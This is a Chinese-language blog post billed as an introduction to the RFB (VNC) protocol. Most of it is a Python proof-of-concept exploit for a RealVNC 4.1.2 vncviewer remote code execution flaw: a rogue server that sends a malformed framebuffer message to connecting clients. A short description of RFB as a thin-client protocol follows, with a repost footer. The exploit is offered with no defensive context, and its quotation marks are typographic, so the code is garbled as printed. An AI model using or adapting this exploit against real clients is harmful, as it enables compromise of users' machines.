The RFB Protocol(RFB协议)简介

分类:服务器| 发布:camnprbubuol| 查看: | 发表时间:2011/7/6

RealVNC 4.1.2 (vncviewer.exe) RFB Protocol Remote Code Execution PoC

#!/usr/bin/env python
# POC: RealVNC 4.1.2 ’vncviewer.exe’ RFB Protocol Remote Code Execution Vulnerability, BID 30499
#Author: Andres Lopez Luksenberg <polakocai@gmail.com>
#
import socket

serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serversocket.bind((’’, 5900))
serversocket.listen(1)

while True:
clientsocket, clientaddres = serversocket.accept()

data = ’RFB 003.008\n’
clientsocket.sendall(data)

data_cli = clientsocket.recv(1024)
print data_cli

data = ’\x01\x01’
clientsocket.sendall(data)

data_cli = clientsocket.recv(1024)
print repr(data_cli)

data = ’\x00\x00\x00\x00’
clientsocket.sendall(data)

data = ’\x02\xd0\x01\x77\x08\x08\x00\x00\x00\x07\x00\x07\x00\x03\x00\x03\x06\x00\x00\x00\x00\x00\x00\x13\x4c\x69\x6e\x75\x78\x56\x4e\x43\x3a\x20\x2f\x64\x65\x76\x2f\x74\x74\x79\x32’

clientsocket.sendall(data)

data_cli = clientsocket.recv(1024)
print repr(data_cli)

data_cli = clientsocket.recv(1024)
print repr(data_cli)

data_cli = clientsocket.recv(1024)
print repr(data_cli)

data=’\x00\x00\x00\x03\x00\x03\x00\x03\x00\x08\x00\x07’

data = data + ’\x00\x00\xff\xff’ #bug

data = data + ’\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe7\xe7\x7e\x3c\x7e\xe7\xe7’

clientsocket.sendall(data)

clientsocket.close()
serversocket.close()

RFB (“remote framebuffer”)是一个定义远程图形用户终端接口的简单协议。因为它是以framebuffer级别的工作方式,因此它适用于所有的窗口系统,包含X11,Windows 3.1/95/NT 和Macintosh。用户所操作的远程终端(包含一个显示器加一个键盘和鼠标等)被称为RFB客户端。远程终端所引起的framebuffer变化可以通知到RFB服务器。

RFB是一个真正意义上的“瘦客户端”协议。在RFB协议的设计中重点强调客户端的尽少需求。 这样一来,客户端能运行在更广范围的硬件环境上,并且客户端的实现也尽可能简单。
协议同时也使客户端以一种无状态方式运行。如果一个客户端从一个服务器掉线后,接着再次连接到同一个服务器,用户界面上的所有状态会被保持。而且不同的客户端常常能连接到同一个服务器上。在新的客户终端上,用户所见到的将会是与远程终端完全一致的同一个图形界面。实际上用户应用程序的图形用户接口将完全变成可移动的。无论在那,只要存在网路连接,用户就可以操纵他自己的应用程序,并且从一个终端到另一个终端之间,这些应用程序的状态将会被保持。无论他们去那,这将提供带有计算低层构架的一个类似的、统一的视图的用户。

365据说看到好文章不转的人,服务器容易宕机
原创文章如转载,请注明:转载自郑州网建-前端开发 http://camnpr.com/
本文链接:http://camnpr.com/archives/376.html